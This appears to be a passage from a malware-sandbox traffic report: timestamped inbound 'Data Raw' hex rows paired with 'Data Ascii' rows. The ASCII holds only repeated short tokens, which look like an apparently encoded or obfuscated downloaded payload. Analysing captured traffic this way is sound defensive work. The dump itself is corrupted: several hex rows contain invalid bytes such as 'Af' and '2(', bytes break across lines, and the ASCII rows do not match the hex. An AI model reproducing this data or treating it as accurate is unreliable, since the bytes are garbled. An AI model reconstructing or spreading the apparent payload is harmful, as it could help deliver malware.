000 OOK OOt OoK OOY QE OYE YO YK ko OxO oKk YE OO0 Yx KQ oE Eo Ek Oto OOK OxQ x OKK EQ QE Oox kK
OOK Oot OXE E YO KQ Yx Rx ko Oxx 0EQ Oxt OXE ORk oK kO YK kK Oox QE OO

2021-10-29 18:30:02 UTC 1744 IN Data Raw: 78 51 20 51 4f 20 6f 45 20 6f 51 20 52 6f 20 4f 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 78 20 52 74 20 59 78
20 4b 6b 20 4b 4f 20 52 6f 20 4f 6f 74 20 59 51 20 4f 4f 20 4f 6f 45 20 4f 4f 45 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 52 74
20 6b 4b 20 4f 4f 20 4f 6f 4f 20 4f 4f 45 20 59 78 20 59 6f 20 6f 78 4b 20 4b 6b 20 74 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 2(
45 20 4b 4f 20 4b 51 20 59 78 20 52 78 20 4f 4f 45 20 6f 4b 6f 20 51 51 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 4b 20 4b 59
20 59 4b 20 6b 4b 20 6b 51 20 6b 78 20 52 4b 20 4f 6f 4b 20 6f 78 20 45 4b 20 4b 6b 20 6f 78 78 20 52 59 20 52 59 20 4f
4f 74 20 4f 78 51 20 4f 78 74 20 59 6b 20 6f 74 20 45 52 20 4b 6b 20 4f 74 78 20 4f 4f 52 20 4f 78 51 20 4f 4f 4f 20 4f 4f 6f
2059 6f 20 52 74 20 4b 74
Data Ascii: XQ QO oE 0Q Ro OR tx OO0 OEQ Oox Rt Yx Kk KO Ro Oot YQ OO OoE OOE Yx Yo oE ot Rt kk OO OoO
OOE Yx Yo oxK Kk to OO0 OOt Oxt E KO KQ Yx Rx OOE oKo QQ Oxk OO0 YK oK KY YK kK kQ kx RK OoK ox EK Kk
oxx RY RY OOt OxQ Oxt Yk ot ER Kk Otx OOR OxQ OO0 OO0 Yo Rt Kt

2021-10-29 18:30:02 UTC 1748 IN Data Raw: 20 45 52 20 6f 52 20 4f 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 45 74 20 45 51 20 45 6b
20 45 78 20 6f 45 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 45 20 4b 78 20 45 74 20 45 4b 20 4f 6f 4b 20 6f 78
52 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 45 20 45 6f 20 52 4b 20 51 78 20 6f 78 4f 20 4f 78 51 20 4f
4f 6f 20 59 52 20 4f 4b 52 20 6f 52 20 4f 45 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 4f 20 4b 6b 20 59
52 20 4f 6b 6f 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 4b 74 20 4b 51 20 59 78 20 59 78 20 4b 74 20 4b 6b
20 4f 4f 52 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 59 20 59 4f 20 59 4b 20 6b 78 20 4f 6f 6f 20 51 51 20 4f 6f 45 20 45 20 4f
4f 45 20 4b 51 20 59 78 20 52
Data Ascii: ER oR OEk kk OOK Oot oxt kY Et EQ Ek Ex oEo OOK OOt OXE 00x oE Kx Et EK OoK oxR OOt OxQ Ooo
OKK 00 KE Eo RK Qx 0xO OxQ OO0 YR OKR oR OEQ kK OOK Oot RQ KQ YO Kk YR Oko tE OOY OOt OXY OK Kt KQ
Yx Yx Kt Kk OOR OxQ Oo0 tR KY YO YK kx Ooo QQ OoE E OOE KQ Yx R

2021-10-29 18:30:02 UTC 1752 IN Data Raw: 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 59 78 20 74 74 20 4b 6b 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f
52 20 4f 4f 4f 20 4f 4f 6f 20 6f 6b 20 4b 6b 20 4f 78 6b 20 4f 6b 52 20 6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20
59 78 20 59 78 20 59 78 20 4f 74 20 6b 4b 20 45 20 6f 45 74 20 4f 78 51 20 4f 6f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b
20 6b 52 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 6f 4b 4b 20 4f 59 78 20 4b 6b 20 59 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f
74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 4f 59 6f 20 4f 45 4b 20 6b 4b 20 4f 4f 45 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 2
0 59 4f 20 4b 45 20 6f 20 59 4f 20 6b 4b 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6f 4f 20 4b 6b 20 59 78 20 45
51 20 45 51 20 6f 4f 52 20 4f
Data Ascii: K OOK to OxQ Yx tt Kk KQ Rx kk OOK OOR OO0 OO0 ok Kk Oxk OkR kK Oox OOt OxQ OO0 Yx Yx Yx Ot
kK E oEt OxQ Oo00 Yx Kk Yx YK kR OOK kY OxQ oKK OYx Kk YR YK kK OOK OOt OxQ OO0 Yo Kk OYo OEK kK OOE
Oot OxQ OO0 YO KE 0 YO kK ORY OOt OxQ OO0 000 Kk Yx EQ EQ 0OR O

2021-10-29 18:30:02 UTC 1756 IN Data Raw: 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 4f 59 20 6b 4b 20 4f 4f 4b 20 4f
4f 74 20 52 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 6b 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20
59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59
4b 20 59 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74
20 4f 78 45 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 4f 20 4f 4f 4b 20 6f 4b 78 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 4
f 6f 74 20 59 78 20 59 4b 20 52 51 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 4f 6b 20 4f 6b 74 20 6b 4b
20 4f 4f 4b 20 4f 4f 74 20 6f
Data Ascii: K OOK OOt OxQ OOK Yx Kk Yx OY kk OOK OOt RK OOE Yx Kk kK YY kK OOK Oot OxQ OO0 Yx Kk Yx YK
kK OOK OOt OxQ OO0 Yo Kk Yx YK YR OOY OOt OxQ o YO Kk Yx YE kK OOK OOt OxE OO0 Yx KQ KO R kO OOK
oKx OO0 000 Yx Oot Yx YK RQ O 00x OxQ OO0 YR Yk Ok Okt kk OOK OOt o

2021-10-29 18:30:02 UTC 1760 IN Data Raw: 78 6b 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 45 52 20 4f 4f 6f 20 4f
74 6b 20 6f 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 59 78
20 4f 52 59 20 4f 6f 51 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f
4b 20 4f 74 4b 20 4f 4b 78 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f
4f 6f 20 4f 78 6b 20 4b 51 20 59 78 20 59 4b 20 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 4b 51 20 4b 6b 20 59 78
20 52 78 20 51 4b 20 4f 78 51 20 74 78 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 52 59 20
Af 4F 74 20 4f 78 51 20 4f 4f 52
Data Ascii: xk 000 YR Kk Yx YK kk OO0 OOt ER OO0 Otk 0KQ Yx Rx kK OOK OOt OxQ OOK Yx OOK Yx ORY OoQ
OOK Oot OxQ 000 Yx Kk Yx YK ko OOK OtK OKx OO0 KQ Yk Yx YK kY OxY RQ OxK OO0 Oxk KQ Yx YK K OOK OOt
OoK E OKQ Kk Yx Rx QK OxQ tx 00K Ko Yx Kk YO OQ OEo ORY OOt OxQ OOR

2021-10-29 18:30:02 UTC 1764 IN Data Raw: 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20
59 6f 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 4b 59 20 6b 4b 20 4f
4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20
45 4f 20 6f 6f 74 20 4b 6b 20 59 78 20 52 78 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 74 20 59 45 20
45 78 20 52 6f 20 6b 4f 20 6f 59 6f 20 6b 51 20 4f 78 59 20 4f 4f 52 20 4b 51 20 4f 20 4b 6b 20 4b 51 20 4f 6f 52 20 4f 4f 4b
20 4f 4f 51 20 52 51 20 4f 52 6f 20 59 78 20 4b 6b 20 59 52 20 59 6b 20 52 52 20 4f 6f 74 20 74 74 20 4f 6f 4b 20 4f 4f 45
20 59 78 20 4b 6b 20 59 6b 20 52
Data Ascii: YR Rt Ox YK kK Oox oR Okk OO0 Yx Yk Yo KO Qx oYY Kt OxQ OOo YO 00 ooR oKY kK OOK OOE RQ tO
Yx Kk YR RQ Oxk OOK OOt OxE EO oot Kk Yx Rx EQ cOE OOt OxQ Ooo Yt YE Ex Ro kO oYo kQ OxY OOR KQ O Kk
KQ OoR OOK O0Q RQ ORo Yx Kk YR Yk RR Oot tt OoK OOE Yx Kk Yk R
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1768 IN Data Raw: 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20
6f 4b 20 4b 78 20 6b 52 20 51 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 52
59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b
20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 51
6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 7
859 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 74 4f 20 6b 6f 20 4b 6b 20 59 4f 20 74
51 20 4f 20 6b 4b 20 4f 4f 4b 20
Data Ascii: OO0 Yx Yo oK ox kR OOE k QK OO0 Yx Yo oK Kx kR Q RY OxQ OOo YK oR OR Yo kt OY RY OxQ OOo YK
oR KK Yo Kt tO OOt OxQ OOR oK Ok Kk YE KO tO OOt OxQ OOR oK KR Kk tt Qk OOK OOt OxY Qx OR Yx KQ tY Qk
OOK OOt OxY Qx KK Yx tE O kk OOK OOE tO ko Kk YO tQ O kk OOK

2021-10-29 18:30:02 UTC 1772 IN Data Raw: 59 4b 20 6b 78 20 4f 4f 6f 20 51 45 20 4f 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 4b 20 4b 78 20 6b 52 20 51 20
51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f
52 20 4b 4b 20 59 6f 20 4b 74 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20
4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20
51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 6f 52
20 6b 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 78 20 4b 6b 20 74 59 20 74 74 20 59 4b 20 6b 4b 20 4f 4f 6b 20
51 59 20 74 51 20 4f 4f 4b 20 4b
Data Ascii: YK kx OO0 QE OY OO0 Yx Yk oK Kx kR Q Q OxQ OO0 YK oR OR Yo kt OY Q OxQ OOo YK oR KK Yo Kt OY
OO0t OxQ OOR oK Ok Kk YE KO OY OOt OxQ OOR oK KR Kk tt Ko OOK OOt OxY Qx OR Yx KQ tY Ko OOK OOt OxY
Qx KK Yx oR kK kK OOK Oot tO OOx Kk tY tt YK kk OOk QY tQ OOK K

2021-10-29 18:30:02 UTC 1776 IN Data Raw: 74 20 59 45 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 74 51 20 4f 4f 59 20 6f 78 20 6f
45 6b 20 59 78 20 45 52 20 6b 52 20 51 78 20 6f 4f 59 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 4f 78 20 4f 6f 78 20 6f 78 4f 20 4f
74 4f 20 4f 4b 4f 20 4f 74 4f 20 51 51 20 51 6b 20 4b 6b 20 6f 78 52 20 45 52 20 4f 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20
6f 20 4f 6f 45 20 59 78 20 4b 6b 20 59 52 20 6f 45 4b 20 6b 52 20 4f 20 6f 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 59
20 59 6b 20 45 51 20 51 6f 20 51 78 20 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 4f 74 74 20 6b 4b 20 4f 4f
4b 20 4f 6f 74 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4b 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20
59 6b 20 4b 74 20 6f 78 20 4f 6b
Data Ascii: t YE QY Yt YK kK Oox ORQ OtQ OOY ox oEk Yx ER kR Qx 00OY Oxk OO0 YR Ox Oox 0xO OtO OKO OtO QQ
Qk Kk 0xR ER OOK kK OOK OOx 0 OoE Yx Kk YR 0EK kR O oEk Oxk OO0 Yo EY Yk EQ Qo Qx Q OxQ OO0 YR YY
QE Ott kk OOK Oot 0 x Yx Kk YR kQ oKR OOY OOt Oxt Qt Yk Kt ox Ok

2021-10-29 18:30:02 UTC 1780 IN Data Raw: 20 4f 51 45 20 4f 4f 51 20 4f 4f 6b 20 59 78 20 45 78 20 59 4b 20 4f 45 78 20 74 6b 20 4f 4f 52 20 4f 4f 74 20 74
74 20 4f 4f 52 20 4f 45 4b 20 4b 6f 20 6f 51 20 59 4b 20 6f 4f 59 20 74 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 78 20 6f
59 4f 20 6f 51 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 74 51 20 6b 6f 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 4f 45
4b 20 4f 4f 45 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 4b 78 20 59 6f 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f
6f 20 6b 59 20 4f 4b 51 20 59 20 52 78 20 59 4b 20 6f 6f 4b 20 52 74 20 4f 74 78 20 74 78 20 4f 4f 6b 20 59 78 20 6f 78 4b
20 4f 20 74 6f 20 4f 4f 78 20 4f 4f 52 20 4f 4f 74 20 6f 59 6f 20 6b 78 20 6b 51 20 6f 6b 20 52 78 20 59 4b 20 4f 74 74 20 4f
785120 4f 7478 20 74 78
Data Ascii: OQE OOQ OOk Yx Ex YK OEx tk OOR OOt tt OOR OEK Ko 0Q YK 00Y tx OOt OxQ OOk Yx oYO 0Q QE
Oox OOR OOt tQ ko kQ ok Yo YK OEK OOE Ex RY OOk Yx OKx Yo QE Oox OOR OOt 0o kY OKQ Y Rx YK 00K Rt Otx
tx OOk Yx 0xK O to OOx OOR OOt oYo kx kQ ok Rx YK Ott OxQ Otx tx

2021-10-29 18:30:02 UTC 1784 IN Data Raw: 6f 59 20 4f 4f 6f 20 51 59 20 6f 20 59 78 20 59 4b 20 4f 78 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 78 51 20 6f 45 20 59
78 20 4b 51 20 59 4f 20 59 4b 20 6b 4b 20 4f 52 45 20 74 45 20 4f 78 51 20 4f 4f 6f 20 51 59 20 4b 6b 20 59 51 20 59 4b
20 6f 4f 45 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 51 52 20 59 78 20 4f 74 52 20 4f 74 20 59 4b 20 6b 4b 20 51 4f 20 4f 4f
74 20 4f 78 78 20 4f 4f 6f 20 4f 6b 45 20 4b 6b 20 4f 74 51 20 59 59 20 52 6b 20 4f 4f 4b 20 74 6b 20 4b 52 20 4f 4f 6f 20
59 78 20 6f 59 20 59 78 20 52 4f 20 6b 4b 20 6f 4b 51 20 4f 4f 74 20 6f 45 52 20 4f 4f 45 20 45 4b 20 4b 6b 20 4f 52 6f 20
74 20 6b 4b 20 4f 4f 4b 20 51 6f 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6b 6b 20 59 78 20 4f 6b 45 20 6b 59 20 51 6b 20 4f
4f 74 20 4f 52 78 20 6b 6b 20 59 78 20
Data Ascii: 0Y OO0 QY 0 Yx YK OxK OOK OoK OxQ oE Yx KQ YO YK kK ORE tE OxQ OO0 QY Kk YQ YK 0OE OOK o
KK OxQ QR Yx OtR Ot YK kK QO OOt Oxx OO0 OKE Kk OtQ YY Rk OOK tk KR OO0 Yx oY Yx RO kK oKQ OOt oER O
OE EK Kk ORo t kk OOK Qo OxQ OoE Yx Okk Yx OKE kY Qk OOt ORx kk Yx

2021-10-29 18:30:02 UTC 1788 IN Data Raw: 6b 20 59 78 20 4f 4f 4f 20 6b 59 20 6b 52 20 4f 4f 52 20 74 6f 20 4f 4f 4b 20 45 45 20 4b 51 20 59 78 20 59 4b
20 4f 78 20 4f 6f 45 20 4f 4f 74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 78 20 59 4f 20 4f 51 20 6b 52 20 51 74 20 4f 4f 52 20 4f
78 51 20 4f 4f 6f 20 74 4f 20 52 45 20 59 78 20 59 4b 20 4f 45 20 4f 4f 59 20 6b 4f 20 4f 78 6b 20 6b 59 20 4b 6b 20 45 59
20 59 4f 20 59 4b 20 6b 4b 20 6f 4b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 78 74 20 4b 51 20 6f 6f 20 59 59 20 4f 4f 45
20 4f 4f 6f 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 45 20 59 59 20 59 4b 20 6b 4b 20 4b 45 20 4f 4f 52 20 74 45 2
0 4f 4f 45 20 6f 45 20 59 78 20 45 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6f 45 4f 20 51 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20
59 4f 20 4f 6b 20 6b 59 20 6b
Data Ascii: k Yx OO0 kY kR OOR to OOK EE KQ Yx YK Ox OoE OOt OxQ KO YO ox YO OQ kR Qt OOR OxQ OOo tO
RE Yx YK OE OOY kO Oxk kY Kk EY YO YK kK oKR OOt OxQ OO0 Oxt KQ 00 YY OOE OO0 Oxo Oxk OO0 Yx YE YY
YK kK KE OOR tE OOE oE Yx EE YY kK OOK oEO Qk OO0 Yx OxY YO Ok kY k

2021-10-29 18:30:02 UTC 1792 IN Data Raw: 6f 45 51 20 45 6f 20 59 4f 20 59 4b 20 4f 6b 6b 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 45 59
20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6b 45 20 4f 78 6b 20 59 6f 20 45 45 20 59 4f 20 59 4b 20 45 52 20
Af 4f 4f 20 4f 78 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4f 6b 52 20 4b 74 20 4f 4b 4b 20 6b 4b 20 52 59 20 4f 4f 52 20 6f 6f 6f
20 4f 6f 52 20 4f 6b 6f 20 45 45 20 4f 20 59 59 20 4f 6f 20 51 6b 20 6f 59 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 52 4b 20 45 6b
20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 4f 78 20 4f 4f 51 20 4f 6b 6b 20 45 45 20 4f 20 59 59 20 4f 74 4b 20 4f 6f 74
20 6f 45 78 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 51 52 20 59 52 20 4f 74 4b 20 52 51 20 52 59 20 4f 4f 52 20 6f 45 4f 20 4f 6f
52 20 4f 74 59 20 45 45
Data Ascii: 0EQ Eo YO YK Okk OxY 000 OxQ OOE Yx EY KR OKK kK OOY OOt kE Oxk Yo EE YO YK ER OO0 Ox Oo
K OOE Yx OkR Kt OKK kK RY OOR 000 OoR Oko EE O YY Oo Qk oYo OoK Rt YO RK Ek Otk RQ RY OOR OOx O0OQ
Okk EE O YY OtK Oot 0Ex OoK Rt YO OQR YR OtK RQ RY OOR 0EO OoR OtY EE

2021-10-29 18:30:02 UTC 1796 IN Data Raw: 20 51 59 20 4f 4f 74 20 4f 59 20 74 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 74 6b 20 4f 4f 59 20 4f 74 74
20 74 6b 20 4f 4f 45 20 59 78 20 52 20 59 78 20 6b 6f 20 4f 78 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b
20 4b 6b 20 4f 51 74 20 51 20 4f 6b 78 20 51 74 20 52 74 20 4f 78 51 20 4f 51 6f 20 4f 4f 20 4b 6b 20 59 78 20 59 4b 20
6b 4b 20 6f 6f 74 20 4f 4f 74 20 4f 59 4b 20 74 51 20 6f 4f 45 20 45 59 20 4f 78 20 59 4b 20 4f 6f 20 74 6f 20 4f 4f 74 20 4f
78 51 20 4f 4f 6f 20 59 78 20 4f 74 74 20 59 78 20 6b 74 20 4f 78 59 20 4f 45 78 20 4f 78 6f 20 6b 74 20 4f 4f 6f 20 4f 4b 2C
4f 4f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 6f 6f 6f 20 6f 4f 20 6f 78 74 20 45 45 20 51 20 6b 4b
20 4f 4b 20 74 6b 20 4f 78 51
Data Ascii: QY OOt OY tE Yx Kk Yx YK Otk OOY Ott tk OOE Yx R Yx ko OxQ OOK OOt OxQ OO0 ORK Kk OQt Q Okx
Qt Rt OxQ OQo OO0 Kk Yx YK kK oot OOt OYK tQ 0OE EY Ox YK Oo to OOt OxQ OO0 Yx Ott Yx kt OxY OEx Oxo kt OO
0 OK OO Yx YK kK OOK oKK OxQ 000 00 oxt EE Q kK OK tk OxQ
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1800 IN Data Raw: 4f 78 6b 20 4f 59 6f 20 4f 6f 4f 20 4f 52 6b 20 59 78 20 59 6b 20 4f 78 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f
74 20 6f 59 4f 20 4f 4f 6f 20 4f 78 45 20 4b 52 20 6f 6f 45 20 45 4b 20 4f 4b 45 20 4f 4f 4b 20 4f 78 59 20 59 45 20 4f 4f 6f
20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4f 6f 51 20 4f 4f 59 20 4f 6f 6b 20 4f 78 78 20 6f 45 52 20 4b 6b 20 6b
20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 51 20 45 20 6f 4f 51 20 52 4b 20 4f 4b
74 20 Af Af 74 20 45 45 20 4b 78 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 6f 4b 59 20 4b 4b 20 4f 59
74 20 45 6b 20 6f 4f 6f 20 59 78 20 4f 78 4b 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20
Af 4f 78 20 4b 51 20 4f 6b 59
Data Ascii: Oxk OYo 000 ORKk Yx Yk OxR YK kK OOK OOt 0YO OO0 OxE KR 0oE EK OKE OOK OxY YE OOo Yx Kk Y
X ORx kK 00Q OOY Ook Oxx oER Kk k OOx kk OOK OOt OxQ oEx Yx OQ E 00Q RK OKt OOt EE Kx Yx Kk Yx YK OQ
K OOK oKY KK OYt Ek 000 Yx OxK Oo OOK OOt OxQ OO0 ORK Kk OOx KQ OkY

2021-10-29 18:30:02 UTC 1804 IN Data Raw: 20 6f 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 52 20 59 78 20 4f 4b 59 20 4f 78 4b 20 4f 6f 4b
20 51 51 20 45 45 20 4f 4f 45 20 59 78 20 4f 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6f 74 20 4f 78 51 20 4f 74
4b 20 6f 4b 20 45 6b 20 45 52 20 4f 6f 78 20 6b 59 20 6f 4b 4f 20 6f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52
4b 20 52 6f 20 6f 51 20 4f 78 74 20 4f 78 4b 20 4f 6f 45 20 52 45 20 59 4f 20 4f 6f 6b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f
4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 51 52 20 4b 4f 20 4f 74 20 45 6f 20 6f 74 20 4f 4f 59 20 4f 45 45 20 6f 45 4b 20 4f 4
6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4b 4f 20 4f 78 6b 20 4f 6b 78 20 4f 6f 59 20 51 6b 20 4b 51 20 59 78
20 59 4b 20 6b 4b 20 4f
Data Ascii: oKt OOt OxQ OO0 Yx ORR Yx OKY OxK OoK QQ EE OOE Yx OKE Yx YK kK OOK oot OxQ OtK oK Ek ER
Oox kY oKO oKo OxQ OO0 Yx Kk ORK Ro 0Q Oxt OxK OoE RE YO Ook OkO YK kK OOK OOt 0YO OO0 QR KO Ot Eo
ot OOY OEE oEK OO0 Yx Kk Yx ORx kK KO Oxk Okx OoY Qk KQ Yx YK kK O

2021-10-29 18:30:02 UTC 1808 IN Data Raw: 59 6b 20 6f 6f 52 20 59 6f 20 6f 59 59 20 6b 4b 20 6f 4b 51 20 4f 4f 52 20 4f 74 4b 20 6f 78 51 20 59 78 20 4b
6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 74 59 20 4f 78 74 20 51 52 20 59 78 20 4f 6b 74 20 59 4f 20 6f 59 78 20
6f 4b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 4f 45 59 20 52 6f 20 6f 6f 51 20 4f 78 78 20
6f 4b 51 20 4f 78 6b 20 4f 52 4b 20 4f 4b 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 6f 78 6b 20 4f
6f 78 20 4f 45 74 20 45 6b 20 4f 51 78 20 59 59 20 4f 45 74 20 6f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b
6f 20 59 6b 20 4f 78 20 51 59 20 4f 6b 78 20 51 51 20 6f 6f 4b 20 4f 4f 45 20 6f 4f 59 20 4f 4b 59 20 59 78 20 59 4b 20 6b
4b 20 4f 4f 4b 20 6f 4b 45 20 4f
Data Ascii: Yk 00R Yo oYY kK o0KQ OOR OtK 0xQ Yx Kk Yx YK 0Ox Ooo OtY Oxt QR Yx Okt YO oYx oKY OOK OOt OxQ
000 Okx YR OEY Ro 00Q Oxx 0KQ Oxk ORK OKt Kk Yx YK kK oKK OoY oxk Oox OEt Ek OQx YY OEt 00O OOt OxQ
000 Yx Oko Yk Ox QY Okx QQ ooK OOE 00Y OKY Yx YK kK OOK oKE O

2021-10-29 18:30:02 UTC 1812 IN Data Raw: 20 59 6b 20 4f 78 4f 20 45 59 20 4f 6f 74 20 6b 4f 20 6f 4f 74 20 4f 4f 52 20 6f 6f 4f 20 6f 4f 45 20 59 78 20 4b
